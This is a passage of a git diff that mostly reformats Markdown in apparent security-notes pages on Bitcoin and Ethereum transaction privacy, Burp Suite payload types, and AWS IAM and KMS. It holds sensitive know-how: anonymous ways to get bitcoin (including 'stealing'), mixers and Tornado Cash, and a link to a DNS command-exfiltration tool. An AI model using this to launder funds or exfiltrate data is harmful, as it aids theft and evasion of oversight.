+* **P2PKH: "Pay To Public Key Hash"**: This is how transactions are made. You are requiring the **sender** to supply a valid **signature** (from the private key) and **public** **key**. The transaction output script will use the signature and public key and through some cryptographic functions will check **if it matches** with the public key hash, if it does, then the **funds** will be **spendable**. This method conceals your public key in the form of a hash for extra security. +* **P2SH: "Pay To Script Hash": **The outputs of a transaction are just **scripts **(this means the person how want this money send a script) that, if are **executed with specific parameters, will result in a boolean of `true` or `false`**. If a miner runs the output script with the supplied parameters and results in `true`, the **money will be sent to your desired output**. `P2SH` is used for **multi-signature** wallets making the output scripts** logic that checks for multiple signatures before accepting the transaction**. `P2SH` can also be used to allow anyone, or no one, to spend the funds. If the output script of a P2SH transaction is just `1` for true, then attempting to spend the output without supplying parameters will just result in `1` making the money spendable by anyone who tries. This also applies to scripts that return `0`, making the output spendable by no one. ### Lightning Network -This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it. -This **improves** bitcoin blockchain **speed** \(it just on allow 7 payments per second\) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain: +This protocol helps to **perform several transactions to a channe**l and **just** **sent** the **final** **state** to the blockchain to save it.\ +This **improves** bitcoin blockchain **speed** (it just on allow 7 payments per second) and it allows to create **transactions more difficult to trace** as the channel is created via nodes of the bitcoin blockchain: -![](../.gitbook/assets/image%20%28611%29.png) +![](<../.gitbook/assets/image (611).png>) -Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain \(layer 1\), followed by making **any number** of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds. +Normal use of the Lightning Network consists of **opening a payment channel** by committing a funding transaction to the relevant base blockchain (layer 1), followed by making** any number **of Lightning Network **transactions** that update the tentative distribution of the channel's funds **without broadcasting those to the blockchain**, optionally followed by closing the payment channel by **broadcasting** the **final** **version** of the settlement transaction to distribute the channel's funds. Note that any of the both members of the channel can stop and send the final state of the channel to the blockchain at any time. @@ -98,7 +98,7 @@ Theoretically the inputs of one transaction can belong to different users, but i ### UTXO Change Address Detection -**UTXO** means **Unspent Transaction Outputs** \(UTXOs\). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** \(to avoid double-spend attacks\). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**, **2 different outputs** will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. +**UTXO** means** Unspent Transaction Outputs** (UTXOs). In a transaction that uses the output from a previous transaction as an input, the **whole output need to be spent** (to avoid double-spend attacks). Therefore, if the intention was to **send** just **part** of the money from that output to an address and **keep** the **other** **part**,** 2 different outputs **will appear: the **intended** one and a **random new change address** where the rest of the money will be saved. Then, a watcher can make the assumption that **the new change address generated belong to the owner of the UTXO**. @@ -114,7 +114,7 @@ By representing the transactions in graphs, i**t's possible to know with certain Also called the "optimal change heuristic". Consider this bitcoin transaction. It has two inputs worth 2 BTC and 3 BTC and two outputs worth 4 BTC and 1 BTC. -```text +``` 2 btc --> 4 btc 3 btc 1 btc ``` @@ -123,7 +123,7 @@ Assuming one of the outputs is change and the other output is the payment. There This is an issue for transactions which have more than one input. One way to fix this leak is to add more inputs until the change output is higher than any input, for example: -```text +``` 2 btc --> 4 btc 3 btc 6 btc 5 btc @@ -131,7 +131,7 @@ This is an issue for transactions which have more than one input. One way to fix ### Forced address reuse -**Forced address reuse** or **incentivized address reuse** is when an adversary pays an \(often small\) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse. +**Forced address reuse** or **incentivized address reuse** is when an adversary pays an (often small) amount of bitcoin to addresses that have already been used on the block chain. The adversary hopes that users or their wallet software **will use the payments as inputs to a larger transaction which will reveal other addresses via the the common-input-ownership** heuristic. These payments can be understood as a way to coerce the address owner into unintentional address reuse. This attack is sometimes incorrectly called a **dust attack**. @@ -139,17 +139,17 @@ The correct behaviour by wallets is to not spend coins that have landed on an al ### Other Blockchain Analysis -* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO \(which is highly unexpected\). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**. -* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that** "round number" **price**, so the other part must be the leftover. -* **Wallet fingerprinting:** A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. +* **Exact Payment Amounts**: In order to avoid transactions with a change, the payment needs to be equal to the UTXO (which is highly unexpected). Therefore, a **transaction with no change address are probably transfer between 2 addresses of the same user**. +* **Round Numbers**: In a transaction, if one of the outputs is a "**round number**", it's highly probable that this is a **payment to a human that put that **"round number" **price**, so the other part must be the leftover. +* **Wallet fingerprinting: **A careful analyst sometimes deduce which software created a certain transaction, because the many **different wallet softwares don't always create transactions in exactly the same way**. Wallet fingerprinting can be used to detect change outputs because a change output is the one spent with the same wallet fingerprint. * **Amount & Timing correlations**: If the person that performed the transaction **discloses** the **time** and/or **amount** of the transaction, it can be easily **discoverable**. ### Traffic analysis -Some organisation **sniffing your traffic** can see you communicating in the bitcoin network. +Some organisation **sniffing your traffic** can see you communicating in the bitcoin network.\ If the adversary sees a transaction or block **coming out of your node which did not previously enter**, then it can know with near-certainty that **the transaction was made by you or the block was mined by you**. As internet connections are involved, the adversary will be able to **link the IP address with the discovered bitcoin information**. -An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks. +An attacker that isn't able to sniff all the Internet traffic but that has **a lot of Bitcoin nodes** in order to stay **closer** to the s**o**urces could be able to know the IP address that are announcing transactions or blocks.\ Also, some wallets periodically rebroadcast their unconfirmed transactions so that they are more likely to propagate widely through the network and be mined. ### Other attacks to find info about the owner of addresses @@ -160,40 +160,40 @@ For more attacks read [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it ### Obtaining Bitcoins Anonymously -* **Cash trades:** Buy bitcoin using cash. -* **Cash substitute:** Buy gift cards or similar and exchange them for bitcoin online. -* **Mining:** Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled_mining) generally know the hasher's IP address. -* **Stealing:** In theory another way of obtaining anonymous bitcoin is to steal them. +* **Cash trades: **Buy bitcoin using cash. +* **Cash substitute: **Buy gift cards or similar and exchange them for bitcoin online. +* **Mining: **Mining is the most anonymous way to obtain bitcoin. This applies to solo-mining as [mining pools](https://en.bitcoin.it/wiki/Pooled_mining) generally know the hasher's IP address. +* **Stealing: **In theory another way of obtaining anonymous bitcoin is to steal them. ### Mixers -A user would **send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be **unable to link** the incoming and outgoing transactions. +A user would** send bitcoins to a mixing service** and the service would **send different bitcoins back to the user**, minus a fee. In theory an adversary observing the blockchain would be** unable to link** the incoming and outgoing transactions. -However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent. +However, the user needs to trust the mixing service to return the bitcoin and also to not be saving logs about the relations between the money received and sent.\ Some other services can be also used as mixers, like Bitcoin casinos where you can send bitcoins and retrieve them later. ### CoinJoin -**CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**. +**CoinJoin** will **mix several transactions of different users into just one** in order to make more **difficult** for an observer to find out **which input is related to which output**.\ This offers a new level of privacy, however, **some** **transactions** where some input and output amounts are correlated or are very different from the rest of the inputs and outputs **can still be correlated** by the external observer. -Examples of \(likely\) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Examples of (likely) CoinJoin transactions IDs on bitcoin's blockchain are `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -[**https://coinjoin.io/en**](https://coinjoin.io/en) -**Similar to coinjoin but better and for ethereum you have** [**Tornado Cash**](https://tornado.cash/) **\(the money is given from miners, so it jus appear in your waller\).** +[**https://coinjoin.io/en**](https://coinjoin.io/en)****\ +**Similar to coinjoin but better and for ethereum you have **[**Tornado Cash**](https://tornado.cash)** (the money is given from miners, so it jus appear in your waller).** ### PayJoin The type of CoinJoin discussed in the previous section can be easily identified as such by checking for the multiple outputs with the same value. -PayJoin \(also called pay-to-end-point or P2EP\) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs** with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction: +PayJoin (also called pay-to-end-point or P2EP) is a special type of CoinJoin between two parties where one party pays the other. The transaction then **doesn't have the distinctive multiple outputs **with the same value, and so is not obviously visible as an equal-output CoinJoin. Consider this transaction: -```text +``` 2 btc --> 3 btc 5 btc 4 btc ``` -It could be interpreted as a simple transaction paying to somewhere with leftover change \(ignore for now the question of which output is payment and which is change\). Another way to interpret this transaction is that the 2 BTC input is owned by a merchant and 5 BTC is owned by their customer, and that this transaction involves the customer paying 1 BTC to the merchant. There is no way to tell which of these two interpretations is correct. The result is a coinjoin transaction that breaks the common-input-ownership heuristic and improves privacy, but is also **undetectable and indistinguishable from any regular bitcoin transaction**. +It could be interpreted as a simple transaction paying to somewhere with leftover change (ignore for now the question of which output is payment and which is change). Another way to interpret this transaction is that the 2 BTC input is owned by a merchant and 5 BTC is owned by their customer, and that this transaction involves the customer paying 1 BTC to the merchant. There is no way to tell which of these two interpretations is correct. The result is a coinjoin transaction that breaks the common-input-ownership heuristic and improves privacy, but is also **undetectable and indistinguishable from any regular bitcoin transaction**. If PayJoin transactions became even moderately used then it would make the **common-input-ownership heuristic be completely flawed in practice**. As they are undetectable we wouldn't even know whether they are being used today. As transaction surveillance companies mostly depend on that heuristic, as of 2019 there is great excitement about the PayJoin idea. @@ -201,10 +201,10 @@ If PayJoin transactions became even moderately used then it would make the **com ### Wallet Synchronization -Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet** \(which is maximally private\) and **client-side block filtering** \(which is very good\). +Bitcoin wallets must somehow obtain information about their balance and history. As of late-2018 the most practical and private existing solutions are to use a **full node wallet **(which is maximally private) and **client-side block filtering** (which is very good). -* **Full node:** Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. -* **Client-side block filtering:** Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an **element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. +* **Full node: **Full nodes download the entire blockchain which contains every on-chain [transaction](https://en.bitcoin.it/wiki/Transaction) that has ever happened in bitcoin. So an adversary watching the user's internet connection will not be able to learn which transactions or addresses the user is interested in. +* **Client-side block filtering: **Client-side block filtering works by having **filters** created that contains all the **addresses** for every transaction in a block. The filters can test whether an** element is in the set**; false positives are possible but not false negatives. A lightweight wallet would **download** all the filters for every **block** in the **blockchain** and check for matches with its **own** **addresses**. Blocks which contain matches would be downloaded in full from the peer-to-peer network, and those blocks would be used to obtain the wallet's history and current balance. ### Tor @@ -228,7 +228,7 @@ If change avoidance is not an option then **creating more than one change output ## Monero -When Monero was developed, the gaping need for **complete anonymity** was what it sought to resolve, and to a large extent, it has filled that void. +When Monero was developed, the gaping need for **complete anonymity **was what it sought to resolve, and to a large extent, it has filled that void. ## Ethereum @@ -236,7 +236,7 @@ When Monero was developed, the gaping need for **complete anonymity** was what i Gas refers to the unit that measures the **amount** of **computational** **effort** required to execute specific operations on the Ethereum network. Gas refers to the **fee** required to successfully conduct a **transaction** on Ethereum. -Gas prices are denoted in **gwei**, which itself is a denomination of ETH - each gwei is equal to **0.000000001 ETH** \(10-9 ETH\). For example, instead of saying that your gas costs 0.000000001 ether, you can say your gas costs 1 gwei. The word 'gwei' itself means 'giga-wei', and it is equal to **1,000,000,000 wei**. Wei itself is the **smallest unit of ETH**. +Gas prices are denoted in **gwei**, which itself is a denomination of ETH - each gwei is equal to **0.000000001 ETH** (10-9 ETH). For example, instead of saying that your gas costs 0.000000001 ether, you can say your gas costs 1 gwei. The word 'gwei' itself means 'giga-wei', and it is equal to **1,000,000,000 wei**. Wei itself is the **smallest unit of ETH**. To calculate the gas that a transaction is going to cost read this example: @@ -246,38 +246,36 @@ Using the formula above we can calculate this as `21,000 * (100 + 10) = 2,310,00 When Jordan sends the money, 1.00231 ETH will be deducted from Jordan's account. Taylor will be credited 1.0000 ETH. Miner receives the tip of 0.00021 ETH. Base fee of 0.0021 ETH is burned. -Additionally, Jordan can also set a max fee \(`maxFeePerGas`\) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed. +Additionally, Jordan can also set a max fee (`maxFeePerGas`) for the transaction. The difference between the max fee and the actual fee is refunded to Jordan, i.e. `refund = max fee - (base fee + priority fee)`. Jordan can set a maximum amount to pay for the transaction to execute and not worry about overpaying "beyond" the base fee when the transaction is executed. As the base fee is calculated by the network based on demand for block space, this last param: maxFeePerGas helps to control the maximum fee that is going to be payed. ### Transactions -Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**. +Notice that in the **Ethereum** network a transaction is performed between 2 addresses and these can be **user or smart contract addresses**.\ **Smart Contracts** are stored in the distributed ledger via a **special** **transaction**. -Transactions, which change the state of the EVM, need to be broadcast to the whole network. Any node can broadcast a request for a transaction to be executed on the EVM; after this happens, a **miner** will **execute** the **transaction** and propagate the resulting state change to the rest of the network. +Transactions, which change the state of the EVM, need to be broadcast to the whole network. Any node can broadcast a request for a transaction to be executed on the EVM; after this happens, a **miner** will **execute** the **transaction** and propagate the resulting state change to the rest of the network.\ Transactions require a **fee** and must be mined to become valid. A submitted transaction includes the following information: -* `recipient` – the receiving address \(if an externally-owned account, the transaction will transfer value. If a contract account, the transaction will execute the contract code\) +* `recipient` – the receiving address (if an externally-owned account, the transaction will transfer value. If a contract account, the transaction will execute the contract code) * `signature` – the identifier of the sender. This is generated when the sender's private key signs the transaction and confirms the sender has authorised this transaction -* `value` – amount of ETH to transfer from sender to recipient \(in WEI, a denomination of ETH\) +* `value` – amount of ETH to transfer from sender to recipient (in WEI, a denomination of ETH) * `data` – optional field to include arbitrary data * `gasLimit` – the maximum amount of gas units that can be consumed by the transaction. Units of gas represent computational steps * `maxPriorityFeePerGas` - the maximum amount of gas to be included as a tip to the miner -* `maxFeePerGas` - the maximum amount of gas willing to be paid for the transaction \(inclusive of `baseFeePerGas` and `maxPriorityFeePerGas`\) +* `maxFeePerGas` - the maximum amount of gas willing to be paid for the transaction (inclusive of `baseFeePerGas` and `maxPriorityFeePerGas`) Note that there isn't any field for the origin address, this is because this can be extrapolated from the signature. ## References -* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof_of_stake) +* [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) * [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) * [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions) * [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) * [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) - - diff --git a/burp-suite.md b/burp-suite.md index 465ae3dc..9534468b 100644 --- a/burp-suite.md +++ b/burp-suite.md @@ -2,15 +2,14 @@ ## Basic Payloads -* **Simple List:** Just a list containing an entry in each line -* **Runtime File:** A list read in runtime \(not loaded in memory\). For supporting big lists. -* **Case Modification:** Apply some changes to a list of strings\(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. -* **Numbers:** Generate numbers from X to Y using Z step or randomly. -* **Brute Forcer:** Character set, min & max length. +* **Simple List: **Just a list containing an entry in each line +* **Runtime File: **A list read in runtime (not loaded in memory). For supporting big lists. +* **Case Modification: **Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-. +* **Numbers: **Generate numbers from X to Y using Z step or randomly. +* **Brute Forcer: **Character set, min & max length. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab. {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - diff --git a/cloud-security/aws-security.md b/cloud-security/aws-security.md index e58b1ff2..40717342 100644 --- a/cloud-security/aws-security.md +++ b/cloud-security/aws-security.md @@ -6,45 +6,45 @@ Services that fall under container services have the following characteristics: -* The service itself runs on **separate infrastructure instances**, such as EC2. -* **AWS** is responsible for **managing the operating system and the platform**. +* The service itself runs on** separate infrastructure instances**, such as EC2. +* **AWS **is responsible for **managing the operating system and the platform**. * A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. * As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. * Also, platform-level identity and access management where it exists. -* **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +* **Examples **of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. ### Abstract Services -* These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. +* These services are** removed, abstracted, from the platform or management layer which cloud applications are built on**. * The services are accessed via endpoints using AWS application programming interfaces, APIs. -* The **underlying infrastructure, operating system, and platform is managed by AWS**. +* The** underlying infrastructure, operating system, and platform is managed by AWS**. * The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. * **Data is isolated via security mechanisms**. -* Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +* Abstract services have a strong integration with IAM, and **examples **of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. ## IAM - Identity and Access Management -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM is the service that will allow you to manage **Authentication**, **Authorization **and **Access Control** inside your AWS account. -* **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -* **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. +* **Authentication **- Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. +* **Authorization **- Determines what an identity can access within a system once it's been authenticated to it. * **Access Control** - The method and process of how access is granted to a secure resource IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. ### Users -This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application** that may require permissions to **access** your **AWS** resources **programmatically**. Note that **usernames must be unique**. +This could be a **real person** within your organization who requires access to operate and maintain your AWS environment. Or it could be an account to be used by an **application **that may require permissions to **access **your **AWS **resources **programmatically**. Note that **usernames must be unique**. #### CLI * **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -* **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU \(It's not possible to retrieve lost secret access key IDs\). +* **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). -Whenever you need to **change the Access Key** this is the process you should follow: -****_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +Whenever you need to **change the Access Key** this is the process you should follow:\ +****_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ -**MFA** is **supported** when using the AWS **CLI**. +**MFA **is **supported **when using the AWS **CLI**. ### Groups @@ -52,13 +52,13 @@ These are objects that **contain multiple users**. Permissions can be assigned t ### Roles -Roles are used to grant identities a set of permissions. **Roles don't have any access keys or credentials associated with them**. Roles are usually used with resources \(like EC2 machines\) but they can also be useful to grant **temporary privileges to a user**. Note that when for example an EC2 has an IAM role assigned, instead of saving some keys inside the machine, dynamic temporary access keys will be supplied by the IAM role to handle authentication and determine if access is authorized. +Roles are used to grant identities a set of permissions. **Roles don't have any access keys or credentials associated with them**. Roles are usually used with resources (like EC2 machines) but they can also be useful to grant **temporary privileges to a user**. Note that when for example an EC2 has an IAM role assigned, instead of saving some keys inside the machine, dynamic temporary access keys will be supplied by the IAM role to handle authentication and determine if access is authorized. -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access. +An IAM role consists of** two types of policies**: A **trust policy**, which cannot be empty, defining who can assume the role, and a **permissions policy**, which cannot be empty, defining what they can access. -#### AWS Security Token Service \(STS\) +#### AWS Security Token Service (STS) -This is a web service that enables you to **request temporary, limited-privilege credentials** for AWS Identity and Access Management \(IAM\) users or for users that you authenticate \(federated users\). +This is a web service that enables you to** request temporary, limited-privilege credentials** for AWS Identity and Access Management (IAM) users or for users that you authenticate (federated users). ### Policies @@ -66,11 +66,11 @@ This is a web service that enables you to **request temporary, limited-privilege Are used to assign permissions. There are 2 types: -* AWS managed policies \(preconfigured by AWS\) -* Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies \(modifying one of them and creating your own\), using the policy generator \(a GUI view that helps you granting and denying permissions\) or writing your own.. +* AWS managed policies (preconfigured by AWS) +* Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. -By **default access** is **denied**, access will be granted if an explicit role has been specified. -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials \(which are allowed by default\). +By **default access **is **denied**, access will be granted if an explicit role has been specified. \ +If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). ```javascript { @@ -97,7 +97,7 @@ If **single "Deny" exist, it will override the "Allow"**, except for requests th #### Inline Policies -This kind of policies are **directly assigned** to a user, group or role. Then, they not appear in the Policies list as any other one can use them. +This kind of policies are **directly assigned** to a user, group or role. Then, they not appear in the Policies list as any other one can use them.\ Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. #### S3 Bucket Policies @@ -106,18 +106,18 @@ Can only be applied to S3 Buckets. They contains an attribute called 'principal' ### Multi-Factor Authentication -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication. +It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. ### Identity Federation -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account. -An example of an identity provider can be your own corporate Microsoft Active Directory\(via SAML\) or OpenID services \(like Google\). Federated access will then allow the users within it to access AWS. +Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account. \ +An example of an identity provider can be your own corporate Microsoft Active Directory(via SAML) or OpenID services (like Google). Federated access will then allow the users within it to access AWS.\ AWS Identity Federation connects via IAM roles. #### Cross Account Trusts and Roles -**A user** \(trusting\) can create a Cross Account Role with some policies and then, **allow another user** \(trusted\) to **access his account** but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account. +**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user **(trusted) to **access his account **but only h**aving the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. #### AWS Simple AD @@ -139,27 +139,27 @@ The app uses the AssumeRoleWithWebIdentity to create temporary credentials. Howe ### Other IAM options * You can **set a password policy setting** options like minimum length and password requirements. -* You can **download "Credential Report"** with information about current credentials \(like user creation time, is password enabled...\). You can generate a credential report as often as once every **four hours**. +* You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. ## KMS - Key Management Service - AWS Key Management Service \(AWS KMS\) is a managed service that makes it easy for you to **create and control** _**customer master keys**_ **\(CMKs\)**, the encryption keys used to encrypt your data. AWS KMS CMKs are **protected by hardware security modules** \(HSMs\) + AWS Key Management Service (AWS KMS) is a managed service that makes it easy for you to** create and control **_**customer master keys**_** (CMKs)**, the encryption keys used to encrypt your data. AWS KMS CMKs are** protected by hardware security modules** (HSMs) -KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** \(for example, inside a S3\). If you need to **encrypt information in transit** you need to use something like **TLS**. +KMS uses** symmetric cryptography**. This is used to **encrypt information as rest **(for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.\ KMS is a **region specific service**. **Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. -**Customer Master Keys** \(CMK\): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs \(Data Encryption Keys\). Then the DEKs are used to encrypt the data. +**Customer Master Keys **(CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. -A customer master key \(CMK\) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. +A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. There are 2 types of master keys: * **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. * **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. -**Envelope Encryption** in the context of Key Management Service \(KMS\): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. ### Key Policies @@ -168,15 +168,15 @@ These defines **who can use and access a key in KMS**. By default root user has Properties of a policy: * JSON based document -* Resource --> Affected resources \(can be "\*"\) -* Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... \(permissions\) -* Effect --> Allow/Deny -* Principal --> arn affected -* Conditions \(optional\) --> Condition to give the permissions +* Resource --> Affected resources (can be "\*") +* Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) +* Effect --> Allow/Deny +* Principal --> arn affected +* Conditions (optional) --> Condition to give the permissions Grants: -* Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration \(Decrypt, Encrypt, GenerateDataKey...\) +* Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) * After the grant is created a GrantToken and a GratID are issued Access: @@ -190,20 +190,20 @@ Access: Key administrator by default: * Have access to manage KMS but not to encrypt or decrypt data -* Only IAM users and roles can be added to Key Administrators list \(not groups\) +* Only IAM users and roles can be added to Key Administrators list (not groups) * If external CMK is used, Key Administrators have the permission to import key material ### Rotation of CMKs * The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -* **KMS rotate customer keys every 365 days** \(or you can perform the process manually whenever you want\) and **keys managed by AWS every 3 years** and this time it cannot be changed. +* **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years **and this time it cannot be changed. * **Older keys are retained** to decrypt data that was encrypted prior to the rotation * In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -* If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the 